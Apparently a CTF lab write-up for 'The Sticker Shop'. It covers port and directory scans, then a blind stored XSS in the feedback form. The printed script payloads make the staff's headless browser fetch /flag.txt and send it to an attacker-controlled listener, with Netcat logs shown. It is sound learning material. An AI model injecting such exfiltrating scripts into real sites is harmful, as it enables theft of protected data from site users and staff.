

The Sticker Shop

Used Nmap to discover two open services: SSH on port 22 and HTTP on port 8080.

```
File Actions Edit View Help
root@kali: /home/kali/Desktop/boxes/TheStickerShop x root@kali: /home/kali/Desktop/boxes/TheStickerShop x root@kali: /home/kali/Desktop/boxes/TheStickerShop x
root@kali: /home/kali/Desktop/boxes/TheStickerShop
# nmap -p- -sV -oE -nA scan 10.10.225.161
Starting Nmap 7.95 ( https://nmap.org ) at 2025-04-16 17:50 EDT
Nmap scan report for 10.10.225.161
Host is up (0.022s latency).
Not shown: 65533 closed tcp ports (reset)
PORT      STATE SERVICE
22/tcp    open  ssh      OpenSSH 8.2p1 Ubuntu 4ubuntu0.9 (Ubuntu Linux; protocol 2.0)
|_ ssh-hostkey:
|_ 3072 b2:54:8c:e2:d7:67:ab:8f:90:b3:6f:52:c2:73:37:69 (RSA)
|_ 256 14:29:ec:36:95:e5:64:49:39:3f:b4:ec:ca:5f:ee:78 (ECDSA)
|_ 256 19:eb:1f:c9:67:92:01:61:0c:14:fe:71:4b:0d:50:40 (ED25519)
8080/tcp  open  http      Werkzeug httpd 3.0.1 (Python 3.8.10)
|_ http-server-header: Werkzeug/3.0.1 Python/3.8.10
|_ http-title: Cat Sticker Shop
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 24.19 seconds

root@kali: /home/kali/Desktop/boxes/TheStickerShop
#
```

Ran Gobuster against the web server; the only directory found was /flag.txt, which returned **401 Unauthorized**.

```
root@kali: /home/kali/Desktop/boxes/TheStickerShop
# gobuster dir -u http://10.10.225.161:8080 -w ../wordlist/SecLists/Discovery/Web-Content/common.txt -x txt,html

Gobuster v3.6
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)

[*] Url: http://10.10.225.161:8080
[*] Method: GET
[*] Threads: 10
[*] Wordlist: ../wordlist/SecLists/Discovery/Web-Content/common.txt
[*] Negative Status codes: 404
[*] User Agent: gobuster/3.6
[*] Extensions: txt,html
[*] Timeout: 10s

Starting gobuster in directory enumeration mode

/flag.txt [Status: 401] [Size: 25]
Progress: 14238 / 14241 (99.98%)

Finished
```

Noticed the site accepts customer feedback via a simple form at /submit_feedback.

Submitted a minimal script that triggered an HTTP request to our listener (verified in Netcat; see screenshot).

Home Feedback

Please submit your feedback regarding your product

```
<script>
new Image().src = 'http://10.14.98.178:9001/';
</script>
```

Submit

Thanks for your feedback! It will be evaluated shortly by our staff

The XSS injection worked so I need to see the content of flag.txt

```
root@kali:~/home/kali/Desktop/boxes/TheStickerShop# nc -lwpn 9001
listening on [any] 9001 ...
connect to [10.14.98.178] from (UNKNOWN) [10.10.225.161] 46094
GET / HTTP/1.1
Host: 10.14.98.178:9001
Connection: keep-alive
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/119.0.6045.105 Safari/537.36
Accept: image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8
Referer: http://127.0.0.1:8080/
Accept-Encoding: gzip, deflate
```

Then I used an injectetion that uses modern Fetch API—`fetch('/flag.txt')` sends a GET request for the flag and returns a promise that resolves to the response. Calling `.then(res => res.text())` reads the flag as text. Finally, `new Image().src = 'http://YOUR_IP:9001/?flag='+encodeURIComponent(flag)` forces the browser to request your listener with the flag in the URL, which Netcat then captures.

```
<script>
  fetch('/flag.txt')
    .then(res => res.text())
    .then(flag =>
      new Image().src =
        'http://10.14.98.178:9001/?flag=' +
        encodeURIComponent(flag))

```

Submit

Thanks for your feedback! It will be evaluated shortly by our staff

```
[root@kali:~]# nc -l-vmp 9001
listening on [any] 9001 ...
connect to [10.14.98.178] from (UNKNOWN) [10.10.225.161] 45442
GET /?flag=XXXXXXXXXXXXXXXXXXXX HTTP/1.1
Host: 10.14.98.178:9001
Connection: keep-alive
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/119.0.6045.105 Safari/537.36
Accept: image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8
```